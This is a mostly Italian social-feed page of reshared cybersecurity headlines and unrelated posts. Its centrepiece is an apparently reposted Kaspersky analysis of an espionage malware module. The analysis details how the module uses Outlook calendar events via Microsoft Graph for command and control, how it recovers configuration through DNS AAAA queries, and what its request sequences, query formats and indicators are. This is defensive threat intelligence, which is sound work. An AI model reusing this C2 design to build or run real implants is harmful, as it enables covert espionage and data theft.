Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Gig Economy Platform Paidwork Leaks Banking and Personal Data of 23 Million Users
#CyberSecurity
securebulletin.com/gig-economy…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🚨 Coca-Cola’s Fairlife hit by a ransomware

Fairlife, a Coca-Cola-owned dairy brand, paused US production after a #ransomware cyberattack breached its systems, though product quality and safety were not impacted.

in reply to ransomNews

The media in this post is not displayed to visitors. To view it, please go to the original post.

Threat actor #Anubis posted on their DLS, they allegedly exfiltrated 1TB and the countdown to release all the data is set to 6 days.

Coca-Cola stated it had notified law enforcement and was working with cybersecurity experts to restore operations.

#ransomNews #cybersecurity

Cybersecurity & cyberwarfare ha ricondiviso questo.

#Pretexting is a thing e #WindTre l'ha scoperto suo malgrado, con pure una reazione discutibile.

Ne parlo su #Baited, nel mio #PacketHunters del lunedì; tecnico e non gentile, perché il dominio della gentilezza è finito.

blog.baited.io/2026/wind-tre-s…

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Breldo Italia affida ad Hackerhood le analisi dei suoi device: dai bug al rafforzamento della sicurezza

📌 Link all'articolo : redhotcyber.com/post/breldo-it…

A cura di Manuel Roccon

#redhotcyber #news #sicurezzainformatica #hacking #vulnerabilita #cybersecurity #gestionedibug

New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery


The media in this post is not displayed to visitors. To view it, please log in.


Introduction


In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026 we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture
Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details


The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)
Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module


The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url>
send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel


The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST login.microsoftonline.com/<…
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject formatPurposeModule behavior
Event ID: <agent-id>Operator-to-agent commandSearches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500Agent heartbeatDeletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500Agent-to-operator command outputCreates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command


For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment nameDirectionAssociated subject
file0.txtOperator to agentEvent ID: <agent-id>
File0.txtAgent to operatorBoss Report ID: <agent-id>1500
Inbound command decryption


Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event
Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command
Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output


For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling


The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
"subject": "Boss update ID: <agent-id>1500"
}
Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.


DNS AAAA configuration recovery mechanism


When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)
DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

IndexConfiguration value
0TenantId
1ClientId
2ClientSecret
3UserEmail
Determining the field length through .p. queries


For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

For example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length
IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)
Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries


After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)
TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response


In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypotheses because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure


Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

DomainIPFirst seenASNHosting
ns1.cloudlanecdn[.]com216.126.237[.]197
144.172.108[.]205
May 2, 2026AS 14956RouterHosting LLC
ns2.cloudlanecdn[.]com216.126.237[.]197
144.172.108[.]205
May 2, 2026AS 14956RouterHosting LLC
ns3.cloudlanecdn[.]com216.126.237[.]197
144.172.108[.]205
May 2, 2026AS 14956RouterHosting LLC
ns4.cloudlanecdn[.]com144.172.108[.]205May 21, 2026AS 14956RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution


In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions


The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise


Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes


CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll

Domains and IPs


cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205


securelist.com/project-cav3rn-…

Cybersecurity & cyberwarfare ha ricondiviso questo.

☕ CYBERBRIEFING MATTUTINO — Martedì 21 luglio 2026

👉 Leggi tutti gli aggiornamenti delle ultime 24 ore:
ilpuntocyber.rfeed.it/article.…

#newsletter #cybersecurity
@informatica

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Guerra Fredda Algoritmica: gli Stati Uniti vogliono vietare i modelli Open Weight incluso Kimi K3

📌 Link all'articolo : redhotcyber.com/post/guerra-fr…

A cura di Carolina Vivianti

#redhotcyber #news #intelligenzaartificiale #modelliaperti #futurodellia #economiaalternativa

reshared this

20 FPS on E-Paper Display Without Help


The media in this post is not displayed to visitors. To view it, please log in.

If electronic paper displays have one downside, it’s generally refresh rate. Earlier versions of the tech might only have been able to do single-digit frames per second, while modern, mid-range devices can sometimes manage 10-20 FPS — and that’s not including the frames needed to blank the display. Getting up past that double-digit barrier typically requires higher-end displays, more powerful processors or FPGAs, and more money. On the other hand, [Tony] was recently able to get 20 FPS out of an ESP32-based device without using any extra processing power.

The key to improving e-paper performance is understanding how the display actually works. The “ink” consists of microscopic charged pigment particles that physically move in response to electric fields, making the display much slower than LCD or OLED panels. Rather than fully erasing and redrawing every frame, the software takes advantage of the particles’ existing state by generating optimized driving waveforms that only move the particles needed to produce the next image. On the software side, an MPEG-like encoding is used so only changes between frames are transmitted and converted into these waveforms, reducing unnecessary data transfers and allowing much higher frame rates.

Tony’s method is able to drive 960×540 panels, like those found in the Lilygo or M5PaperS3, to 20 FPS, and these platforms are based on nothing more than the capable but limited ESP32 chip. It’s an impressive push, and worth checking out the video in the linked project page. We assume you’d need a little more to drive something like the massive e-paper display found in this home automation setup, though.

youtube.com/embed/vQrP-orQatY?…


hackaday.com/2026/07/21/20-fps…

Cybersecurity & cyberwarfare ha ricondiviso questo.

Permangono "sostanziali preoccupazioni" in merito all'accordo UE-USA sui dati di frontiera.

I governi dell'UE restano divisi in vista degli importanti colloqui con gli Stati Uniti sulle misure di salvaguardia per la condivisione dei dati.

euractiv.com/news/eu-capitals-…

@privacypride

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Quando la polizia giudiziaria bussa alla porta dell’azienda: come difendersi e cosa fare

📌 Link all'articolo : redhotcyber.com/post/quando-la…

A cura di Paolo Galdieri

#redhotcyber #news #perquisizioneinformaticatecnica #protezionedatiaziendale #sicurezzainformaticaaziendale

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

Attackers Exploit Critical #ServiceNow RCE Flaw CVE-2026-6875
securityaffairs.com/195723/ai/…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

377 – I ROBOT ARRIVANO PERCHÉ NON FACCIAMO PIÙ FIGLI camisanicalzolari.it/377-i-rob…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

L’RCE Wp2shell nel core WordPress, è stata rilevata da GPT-5.6 con 25 dollari in token

📌 Link all'articolo : redhotcyber.com/post/lrce-wp2s…

A cura di Luigi Zullo

#redhotcyber #news #informaticasicurezza #tecnicheinformatiche #protezionedati #ricercainformatica

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Scoperta falla critica in Ubuntu Pro: milioni di server cloud potenzialmente esposti

📌 Link all'articolo : redhotcyber.com/post/ubuntu-bu…

A cura di Luigi Zullo

#redhotcyber #news #sicurezzainformatica #vulnerabilita #protezionedati #minacciedigitali #sistemioperativi #ubuntu

Google Maps Killed the Restaurant Star


The media in this post is not displayed to visitors. To view it, please log in.

Two maps of London turned into hexagonal regions heat mapped from white to peach to purple. The left map is according to: density, ratings, surprise, cuisine diversity, and independent share. The map on the right of merged data assigns the dominant hub type in a region. Purple is assigned a value of "Elite", reddish orange is "Strong", peach is "Everyday", and white/grey is "Weak." The five locations deemed to be the highest scorers were Ealing-Acton, Kingston Upon Thames, Enfield, Bromley, and Havering.

We all know that Google and other big players pick and choose what information people see, but we sometimes overlook it outside of the search and social media space. [Lauren Leek] decided to take a look at how Google Maps picks winners and losers in the restaurant scene in London.

Building a machine learning model to determine a new restaurant recommendation (as one does), [Leek] uncovered interesting, and perhaps concerning, elements of how Google Maps ranks restaurants. Broken down by relevance, proximity, and prominence, many new restaurants face the issue of not drawing traffic without reviews and vice-versa causing a vicious cycle. Relevance and proximity are fairly straightforward, but what goes into “prominence?”

[Leek] found that “it is not just what people think of a place – it is how often people interact with it, talk about it, and already recognise it.” This leads to chains and high foot traffic areas awash in reviews while more out-of-the-way places find it more difficult to draw traffic. Some of this is expected and would be happening even when word of mouth was the primary way to find out where to eat, but as with many things, the algorithm amplifies this, along with the undisclosed paid placement of restaurants in Maps results.

While still in its infancy, [Leek] built a public dashboard where people can sort restaurants in the city. The machine learning algorithm is designed to identify places that are hidden gems that punch above their Google Maps weight and may make you look like the trendy one (if you live in London).

Zooming out further, [Leek] found larger clusters that revealed restaurant “diversity, in other words, is not just about taste. It is about where families settled, which high streets remained affordable long enough for a second generation to open businesses, and which parts of the city experienced displacement before culinary ecosystems could mature.”

If you want to step outside the algorithm mayhem, how about a good old-fashioned Web Ring? We’ve also addressed what’s an AI versus an algorithm, and Cory Doctorow advised us on how to reverse course on the current wave of enshittification.


hackaday.com/2026/07/20/google…

DK 10x41 - Tradimenti 2


The media in this post is not displayed to visitors. To view it, please log in.

The media in this post is not displayed to visitors. To view it, please log in.

Il riscaldamento è fondamentale per evitare strappi e contratture. Perciò, ecco altre malefatte della Commissione da ripassare a Settembre per presentarsi alla nuova stagione già belli caldi...


dk.dataknightmare.eu/tradiment…


DK10x41 - Tradimenti 2


Ascolta l'episodio su Spreaker.com

Caso mai qualcuno credesse che avessimo esaurito la lista delle lagnanze contro questa Commissione Europea di servi e cialtroni, qualche altro post-it da attaccare al frigo prima delle vacanze, così a Settembre ripartiamo belli caldi.

Ma prima, come bonus, una recensione.

Sigla.

Oggi è il 18 luglio, e ieri sono andato a vedere l'Odissea di Nolan. Il mio pacato giudizio è che se lo girava con i Muppet gli usciva un film meno ridicolo.

Odissea è la dimostrazione plastica che con 250 milioni di budget, il miglior regista su piazza, un cast stellare, si può ancora fare una cagata inguardabile che però è anche una palla micidiale.

A un certo punto mi sono detto "madonna, ma non finisce mai?" Erano passati 36 minuti esatti. Il film dura due ore e 52.

Ora, io

  • posso ammettere le scelte a cappella nel casting perché devi fare l'inclusivo,
  • posso trascurare Atena dagli occhi celesti mulatta e adolescenziale, Elena dalle bianche braccia e dal collo di cigno nera nubiana e tarchiatella, e il biondo Menelao pelato e con la barba nera,
  • posso considerare con bonomia Agamennone vestito da Batman per tutto il film
  • posso contestualizzare un Ulisse frignone manco Troia fosse il Vietnam, anche se alla battuta "la nostra età del Bronzo sta finendo" sono scoppiato a ridere, e non era la prima volta
  • posso sorvolare sull'assenza dei Lotofagi, dei Feaci, di Nausicaa e dell'inganno al Ciclope
  • posso momentaneamente sospendere il giudizio sull'assenza degli dèi, salvo poi concludere che tutto diventa una favoletta di Disney
  • posso considerare una scelta stilistica il fatto che, nonostante i costumi, personaggi e dialoghi sono più adatti a un dramma borghese del periodo in cui Woody Allen pensava di essere Ingmar Bergman, che a un mito tragico del primo millennio avanti Cristo;
  • posso stringere i denti per un Telemaco che chiama Ulisse "papà", manco quell'altro fosse Mario Merola e dovesse rispondere "figghio, figghio mio"
  • posso mordermi la lingua per i Greci che vogano con elmo e corazza per tutto il film per far vedere che loro sono guerrieri, sennò poi Pete Hegseth dice che quella è Gay Love Boat, non l'Odissea;
  • salvo soltanto la ninfa perimenopausale, e non perché Charlize Theron anche a ottant'anni sarà la cosa più spaventosamente sexy che giri sul pianeta, ma perché è l'unica sullo schermo che recita e ha una presenza scenica.

Ma quello che non posso assolutamente accettare è prendere la più grande storia mai raccontata e farne un film che non solo è noioso, ma è completamente privo di qualsiasi pathos.

Ma voi vedetelo, e fatevi un'idea. Ah sì, scenografie e fotografia bellissime. Peccato che se ti metti a notare quelle vuol dire che il film non c'è.

E adesso passiamo alle cose serie.

pausa

Nello scorso episodio elencavo come tradimento l'estensione di poteri eccezionali di indagine e controllo, incluso il riconoscimento facciale, a Frontex, l'agenzia europea che si occupa dei controlli alle frontiere esterne.

Per quel che riguarda le frontiere interne, invece, che il trattato di Schengen avrebbe dovuto abbattere, troppi Stati membri continuano a invocare condizioni emergenziali per farsi i beati casi loro. Come per esempio la Germania, che da quando Schengen esiste ha richiesto dispense semestrali per motivi di sicurezza a ciclo pressoché continuo. Che fesseria siano queste esigenze di sicurezza è subito detto: viaggi dall'Italia alla Germania attraverso l'Austria? Controllo di frontiera appena entri in Germania. Viaggi dall'Austria alla Germania? Nessun controllo.

E la Germania non è nemmeno la sola, anche se è l'esempio che tocco con mano ogni volta. Una Commissione che si rispetti avrebbe già preso provvedimenti da anni, perché Schengen è una delle conquiste più alte della costruzione europea, e ce la stiamo giocando per dare il contentino a quattro pezzenti razzisti e peraltro incompetenti.

E questo per quanto riguarda le frontiere. Ma non dobbiamo dimenticarci che anche Europol mette in fila un'eccezione dopo l'altra pur di praticare sorveglianza di massa sui cittadini europei, e non contenta delle eccezioni ha costruito un sistema-ombra di archivi, per farsi beffe dei limiti alla ritenzione e al trattamento fissati dal GDPR e ribaditi di continuo dal Garante Europeo. Anche in questo caso, una Commissione degna di questo nome darebbe al Garante Europeo il supporto politico e economico per fare visita a Europol munito di un nodoso bastone, ma non sia mai che la von der Leyen e la sua commis sione di servi faccia qualcosa per far valere le leggi europee in Europa.

pausa

Sempre per quel che riguarda i rapporti frontalieri, c'è quello, sempre più surreale, con gli Stati Uniti. La prima pietra dello scandalo è la richiesta all'Europa di condividere i database biometrici dei propri cittadini con gli Stati Uniti, affinché i cittadini dell'Unione possano continuare a godere dell'alto onore di recarsi in quel Paese di barbari senza visto.

Ci sono un certo numero di problemi:

  • il primo è che tu i miei dati biometrici li puoi trattare nel momento in cui ti dò il mio passaporto, non a prescindere;
  • il secondo è che una volta che i dati biometrici siano accessibili agli statunitensi, ciao còre alla limitazione del trattamento, ci faranno tutte le profilazioni del mondo e qualcuna in più, e poi ovviamente ci sarà l'inevitabile breach e andranno in mano a chiunque;
  • il terzo è che abbiamo già un accordo per poter viaggare negli USA senza visto, e l'America di Trump sta come sempre cambiando le carte in tavola.

Ora, io personalmente non metterò più piede negli USA fin che non gli è passata la botta di fascismo cominciata nel 2001. Il che significa che presumibilmente non ci tornerò più. Ma anche se volessi, non vedo perché compromettere dati fondamentali e buttare alle ortiche la protezione dei dati personali per risparmiare il costo di un paio di visite al consolato.

Ricordiamoci che gli USA sono anche quel Paese democratico dove per entrare devi dare alle Autorità l'accesso a tutti i tuoi account social, così che loro possano accertarsi che tu non abbia mai detto qualcosa di sgradito. Roba del genere fa rimpiangere il KGB dell'Unione Sovietica.

Sull'accesso ai dati biometrici, gli USA hanno messo come scadenza il 31 dicembre, una scadenza che è a tutti gli effetti un ultimatum, e le prospettive sono fosche, se uno ricorda il meraviglioso negoziato con cui la von der Leyen ha garantito dazi permanenti del 15% da parte di quello che dovrebbe essere un alleato. Ora il Parlamento Europeo è in ferie, ma appena riapre occorrerà che si faccia sentire sulla questione, e su tutte le altre che riguardano gli Stati Uniti.

Sempre parlando di Stati Uniti, c'è l'ormai surreale questione del libero transito dei dati fra Europa e Stati Uniti, quello che si chiama EU-US Data Protection Framework e che, a detta della Commissione Europea, garantisce la sostanziale adeguatezza degli USA ai livelli di protezione richiesti dal GDPR.

L'accordo per il libero traffico dei dati fra USA e Unione, con qualunque nome, è sempre stato una farsa. Lo era il Safe Harbor, stroncato dalla sentenza Schrems I della Corte Europea di Giustizia. Lo era il Privacy Shield, sostanzialmente la fotocopia del Safe Harbor messa in piedi in tutta fretta dalla Commissione von der Leyen (la prima) e stroncato dalla sentenza Schrems II.
E lo è l'attuale EU-US Data Protection Framework, che aspettiamo di vedere stroncato dal terzo ricorso di Max Schrems alla Corte Europea.

Le cose sono semplici: la legge USA consente alle agenzie di intelligence una discrezionalità praticamente assoluta nell'accesso ai dati personali, in particolare di persone che non siano cittadini USA. Questo accesso è solo nominalmente sottoposto al controllo giudiziario, come richiede la legge europea, perché le corti statunitensi di fatto si limitano a firmare quello che gli viene presentato, manco fossero in un serial poliziesco di Hollywood.

